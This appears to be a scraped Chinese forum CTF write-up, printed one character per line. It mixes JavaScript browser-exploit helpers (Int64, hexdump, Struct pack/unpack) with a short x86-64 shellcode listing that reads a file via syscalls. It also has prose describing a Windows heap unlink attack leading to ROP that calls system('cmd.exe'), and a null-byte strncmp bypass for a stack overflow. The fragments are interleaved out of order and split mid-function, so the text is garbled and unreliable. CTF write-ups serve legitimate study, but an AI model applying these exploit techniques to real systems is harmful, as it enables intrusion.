4
t
o
h
o
l
d
t
h
e
r
e
s
u
l
t
.
/
/
R
e
t
u
r
n
-
n
(
t
w
o
'
s
c
o
m
p
l
e
m
e
n
t
)
f
u
n
c
t
i
o
n
N
e
g
(
n
)
{
r
e
t
u
r
n
(
n
e
w
I
n
t
6
4
(
)
)
.
a
s
s
i
g
n
N
e
g
(
n
)
;
}
/
/
R
e
t
u
r
n
a
+
b
f
u
n
c
t
i
o
n
A
d
d
(
a
,
b
)
{
r
e
t
u
r
n
(
n
e
w
I
n
t
6
4
(
)
)
.
a
s
s
i
g
n
A
d
d
(
a
,
b
)
;
}
3
、
s
h
e
l
l
c
o
d
e
.
a
s
m
4
、
u
t
i
l
s
.
j
s
}
/
/
R
e
t
u
r
n
a
-
b
f
u
n
c
t
i
o
n
S
u
b
(
a
,
b
)
{
r
e
t
u
r
n
(
n
e
w
I
n
t
6
4
(
)
)
.
a
s
s
i
g
n
S
u
b
(
a
,
b
)
;
}
/
/
R
e
t
u
r
n
a
^
b
f
u
n
c
t
i
o
n
X
o
r
(
a
,
b
)
{
r
e
t
u
r
n
(
n
e
w
I
n
t
6
4
(
)
)
.
a
s
s
i
g
n
X
o
r
(
a
,
b
)
;
}
/
/
S
o
m
e
c
o
m
m
o
n
l
y
u
s
e
d
n
u
m
b
e
r
s
.
I
n
t
6
4
.
Z
e
r
o
=
n
e
w
I
n
t
6
4
(
0
)
;
I
n
t
6
4
.
O
n
e
=
n
e
w
I
n
t
6
4
(
1
)
;
;
n
a
s
m
-
f
b
i
n
-
o
s
h
e
l
l
c
o
d
e
.
b
i
n
s
h
e
l
l
c
o
d
e
.
a
s
m
o
r
g
0
1
0
0
h
B
I
T
S
6
4
m
o
v
r
d
i
,
0
x
a
a
b
b
c
c
d
d
e
e
f
f
1
1
2
2
x
o
r
r
s
i
,
r
s
i
m
o
v
e
a
x
,
2
s
y
s
c
a
l
l
m
o
v
r
s
i
,
r
d
i
m
o
v
r
d
i
,
r
a
x
m
o
v
r
d
x
,
0
x
6
4
x
o
r
e
a
x
,
e
a
x
s
y
s
c
a
l
l
r
e
t
/
/
/
/
U
t
i
l
i
t
y
f
u
n
c
t
i
o
n
s
.
/
/
/
/
C
o
p
y
r
i
g
h
t
(
c
)
2
0
1
6
S
a
m
u
e
l
G
r
o
ß
/
/
/
/
P
r
i
n
t
f
u
n
c
t
i
o
n
i
n
b
r
o
w
s
e
r
c
o
n
t
e
x
t
.
f
u
n
c
t
i
o
n
b
r
o
w
s
e
r
_
p
r
i
n
t
(
m
s
g
)
{
c
o
n
s
o
l
e
.
l
o
g
(
m
s
g
)
;
d
o
c
u
m
e
n
t
.
b
o
d
y
.
i
n
n
e
r
T
e
x
t
+
=
m
s
g
+
'
n
'
;
}
i
f
(
t
y
p
e
o
f
(
w
i
n
d
o
w
)
!
=
=
'
u
n
d
e
f
i
n
e
d
'
)
p
r
i
n
t
=
b
r
o
w
s
e
r
_
p
r
i
n
t
;
/
/
L
o
g
a
m
e
s
s
a
g
e
a
n
d
a
b
o
r
t
e
x
e
c
u
t
i
o
n
.
f
u
n
c
t
i
o
n
f
a
i
l
(
m
s
g
)
{
p
r
i
n
t
(
"
[
-
]
"
+
m
s
g
)
;
t
h
r
o
w
n
u
l
l
;
}
/
/
S
i
m
p
l
e
a
s
s
e
r
t
f
u
n
c
t
i
o
n
.
f
u
n
c
t
i
o
n
a
s
s
e
r
t
(
c
o
n
d
,
m
s
g
)
{
i
f
(
!
c
o
n
d
)
{
f
a
i
l
(
m
s
g
)
;
}
}
/
/
R
e
t
u
r
n
t
h
e
h
e
x
a
d
e
c
i
m
a
l
r
e
p
r
e
s
e
n
t
a
t
i
o
n
o
f
t
h
e
g
i
v
e
n
b
y
t
e
.
f
u
n
c
t
i
o
n
h
e
x
(
b
)
{
r
e
t
u
r
n
(
'
0
'
+
b
.
t
o
S
t
r
i
n
g
(
1
6
)
)
.
s
u
b
s
t
r
(
-
2
)
;
}
/
/
R
e
t
u
r
n
t
h
e
h
e
x
a
d
e
c
i
m
a
l
r
e
p
r
e
s
e
n
t
a
t
i
o
n
o
f
t
h
e
g
i
v
e
n
b
y
t
e
a
r
r
a
y
.
f
u
n
c
t
i
o
n
h
e
x
l
i
f
y
(
b
y
t
e
s
)
{
v
a
r
r
e
s
=
[
]
;
f
o
r
(
v
a
r
i
=
0
;
i
<
b
y
t
e
s
.
l
e
n
g
t
h
;
i
+
+
)
r
e
s
.
p
u
s
h
(
h
e
x
(
b
y
t
e
s
[
i
]
)
)
;
r
e
t
u
r
n
r
e
s
.
j
o
i
n
(
'
'
)
;
}
/
/
R
e
t
u
r
n
t
h
e
b
i
n
a
r
y
d
a
t
a
r
e
p
r
e
s
e
n
t
e
d
b
y
t
h
e
g
i
v
e
n
h
e
x
d
e
c
i
m
a
l
s
t
r
i
n
g
.
f
u
n
c
t
i
o
n
u
n
h
e
x
l
i
f
y
(
h
e
x
s
t
r
)
{
i
f
(
h
e
x
s
t
r
.
l
e
n
g
t
h
%
2
=
=
1
)
t
h
r
o
w
n
e
w
T
y
p
e
E
r
r
o
r
(
"
I
n
v
a
l
i
d
h
e
x
s
t
r
i
n
g
"
)
;
v
a
r
b
y
t
e
s
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
h
e
x
s
t
r
.
l
e
n
g
t
h
/
2
)
;
f
o
r
(
v
a
r
i
=
0
;
i
<
h
e
x
s
t
r
.
l
e
n
g
t
h
;
i
+
=
2
)
b
y
t
e
s
[
i
/
2
]
=
p
a
r
s
e
I
n
t
(
h
e
x
s
t
r
.
s
u
b
s
t
r
(
i
,
2
)
,
1
6
)
;
r
e
t
u
r
n
b
y
t
e
s
;
}
f
u
n
c
t
i
o
n
h
e
x
d
u
m
p
(
d
a
t
a
)
{
i
f
(
t
y
p
e
o
f
d
a
t
a
.
B
Y
T
E
S
_
P
E
R
_
E
L
E
M
E
N
T
!
=
=
'
u
n
d
e
f
i
n
e
d
'
)
d
a
t
a
=
A
r
r
a
y
.
f
r
o
m
(
d
a
t
a
)
;
v
a
r
l
i
n
e
s
=
[
]
;
f
o
r
(
v
a
r
i
=
0
;
i
<
d
a
t
a
.
l
e
n
g
t
h
;
i
+
=
1
6
)
{
v
a
r
c
h
u
n
k
=
d
a
t
a
.
s
l
i
c
e
(
i
,
i
+
1
6
)
;
v
a
r
p
a
r
t
s
=
c
h
u
n
k
.
m
a
p
(
h
e
x
)
;
i
f
(
p
a
r
t
s
.
l
e
n
g
t
h
>
8
)
p
a
r
t
s
.
s
p
l
i
c
e
(
8
,
0
,
'
'
)
;
l
i
n
e
s
.
p
u
s
h
(
p
a
r
t
s
.
j
o
i
n
(
'
'
)
)
;
}
r
e
t
u
r
n
l
i
n
e
s
.
j
o
i
n
(
'
n
'
)
;
}
/
/
S
i
m
p
l
i
f
i
e
d
v
e
r
s
i
o
n
o
f
t
h
e
s
i
m
i
l
a
r
l
y
n
a
m
e
d
p
y
t
h
o
n
m
o
d
u
l
e
.
v
a
r
S
t
r
u
c
t
=
(
f
u
n
c
t
i
o
n
(
)
{
/
/
A
l
l
o
c
a
t
e
t
h
e
s
e
o
n
c
e
t
o
a
v
o
i
d
u
n
e
c
e
s
s
a
r
y
h
e
a
p
a
l
l
o
c
a
t
i
o
n
s
d
u
r
i
n
g
p
a
c
k
/
u
n
p
a
c
k
o
p
e
r
a
t
i
o
n
s
.
v
a
r
b
u
f
f
e
r
=
n
e
w
A
r
r
a
y
B
u
f
f
e
r
(
8
)
;
v
a
r
b
y
t
e
V
i
e
w
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
b
u
f
f
e
r
)
;
v
a
r
u
i
n
t
3
2
V
i
e
w
=
n
e
w
U
i
n
t
3
2
A
r
r
a
y
(
b
u
f
f
e
r
)
;
v
a
r
f
l
o
a
t
6
4
V
i
e
w
=
n
e
w
F
l
o
a
t
6
4
A
r
r
a
y
(
b
u
f
f
e
r
)
;
r
e
t
u
r
n
{
p
a
c
k
:
f
u
n
c
t
i
o
n
(
t
y
p
e
,
v
a
l
u
e
)
{
v
a
r
v
i
e
w
=
t
y
p
e
;
/
/
S
e
e
b
e
l
o
w
v
i
e
w
[
0
]
=
v
a
l
u
e
;
r
e
t
u
r
n
n
e
w
U
i
n
t
8
A
r
r
a
y
(
b
u
f
f
e
r
,
0
,
t
y
p
e
.
B
Y
T
E
S
_
P
E
R
_
E
L
E
M
E
N
T
)
;
}
,
u
n
p
a
c
k
:
f
u
n
c
t
i
o
n
(
t
y
p
e
,
b
y
t
e
s
)
{
i
f
(
b
y
t
e
s
.
l
e
n
g
t
h
!
=
=
t
y
p
e
.
B
Y
T
E
S
_
P
E
R
_
E
L
E
M
E
N
T
)
t
h
r
o
w
E
r
r
o
r
(
"
I
n
v
a
l
i
d
b
y
t
e
a
r
r
a
y
"
)
;
v
a
r
v
i
e
w
=
t
y
p
e
;
/
/
S
e
e
b
e
l
o
w
b
y
t
e
V
i
e
w
.
s
e
t
(
b
y
t
e
s
)
;
r
e
t
u
r
n
v
i
e
w
[
0
]
;
编
写
完
利
用
代
码
之
后
,
选
手
需
要
自
己
搭
建
h
t
t
p
s
e
r
v
e
r
并
提
交
U
R
L
到
题
目
服
务
器
。
题
目
服
务
器
会
在
本
地
自
动
运
行
A
n
d
r
o
i
d
模
拟
器
并
测
试
选
手
的
利
用
,
并
将
模
拟
器
的
窗
口
录
制
下
来
作
为
结
果
返
回
给
选
手
r
e
t
u
r
n
v
i
e
w
[
0
]
;
}
,
/
/
A
v
a
i
l
a
b
l
e
t
y
p
e
s
.
i
n
t
8
:
b
y
t
e
V
i
e
w
,
i
n
t
3
2
:
u
i
n
t
3
2
V
i
e
w
,
f
l
o
a
t
6
4
:
f
l
o
a
t
6
4
V
i
e
w
}
;
}
)
(
)
;
l
e
t
r
e
t
r
y
=
(
)
=
>
{
l
o
c
a
t
i
o
n
.
r
e
l
o
a
d
(
t
r
u
e
)
;
}
;
f
u
n
c
t
i
o
n
D
b
g
B
r
e
a
k
(
)
{
a
l
e
r
t
(
'
B
r
e
a
k
!
'
)
;
}
b
a
b
y
h
e
a
p
程
序
有
增
删
改
查
四
个
功
能
,
允
许
最
多
增
加
1
8
个
大
小
不
超
过
0
x
1
0
0
的
堆
块
(
即
不
会
调
用
w
i
n
d
o
w
s
h
e
a
p
的
L
F
H
机
制
)
,
在
改
的
功
能
中
存
在
a
r
b
i
t
r
a
r
y
h
e
a
p
o
v
e
r
f
l
o
w
,
同
l
i
n
u
x
h
e
a
p
e
x
p
l
o
i
t
a
t
i
o
n
类
似
,
w
i
n
d
o
w
s
h
e
a
p
也
存
在
u
n
l
i
n
k
攻
击
,
合
理
覆
盖
_
H
E
A
P
_
F
R
E
E
_
E
N
T
R
Y
的
F
l
i
n
k
/
B
l
i
n
k
即
可
实
现
D
W
s
h
o
o
t
。
这
里
使
用
的
方
法
是
通
过
u
n
l
i
n
k
攻
击
g
_
l
i
s
t
[
i
]
使
其
指
向
自
身
,
这
样
配
合
改
和
查
的
功
能
就
实
现
了
任
意
地
址
读
写
。
有
两
点
需
要
注
意
:
1
.
堆
溢
出
时
需
要
合
法
的
覆
写
下
一
个
_
H
E
A
P
_
E
N
T
R
Y
的
h
e
a
d
e
r
,
这
里
可
以
使
用
堆
溢
出
覆
写
p
r
i
n
t
f
t
e
r
m
i
n
a
t
o
r
来
l
e
a
k
相
同
大
小
的
e
n
c
r
y
p
t
e
d
h
e
a
d
e
r
2
.
在
l
i
n
u
x
下
,
任
意
读
写
后
可
以
使
用
读
写
G
O
T
来
l
e
a
k
l
i
b
c
和
劫
持
控
制
流
,
但
w
i
n
d
o
w
s
的
I
A
T
只
读
,
可
以
l
e
a
k
,
但
不
能
用
来
劫
持
控
制
流
,
因
此
这
里
采
取
的
方
法
是
依
次
l
e
a
k
:
k
e
r
n
e
l
3
2
.
d
l
l
-
>
k
e
r
n
e
l
b
a
s
e
.
d
l
l
-
>
B
a
s
e
p
F
i
l
t
e
r
I
n
f
o
-
>
s
t
a
c
k
p
o
i
n
t
e
r
-
>
r
e
t
a
d
d
r
,
同
时
通
过
l
e
a
k
u
c
r
t
b
a
s
e
d
.
d
l
l
可
以
得
到
s
y
s
t
e
m
的
地
址
,
这
样
我
们
就
有
了
主
函
数
的
返
回
地
址
在
栈
上
的
位
置
和
s
y
s
t
e
m
地
址
,
接
下
来
通
过
任
意
地
址
写
改
写
栈
,
通
过
R
O
P
调
用
s
y
s
t
e
m
(
“
c
m
d
.
e
x
e
0
”
)
即
可
结
果
如
下
图
所
示
:
b
a
b
y
r
o
p
本
题
存
在
明
显
栈
溢
出
,
要
进
入
溢
出
函
数
首
先
要
绕
过
一
个
随
机
值
校
验
。
如
下
图
所
示
,
随
机
值
校
验
使
用
s
t
r
n
c
m
p
,
长
度
使
用
s
t
r
l
e
n
来
计
算
,
因
此
只
要
输
入
字
符
以
x
0
0
开
始
,
则
可
以
绕
过
该
比
较
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页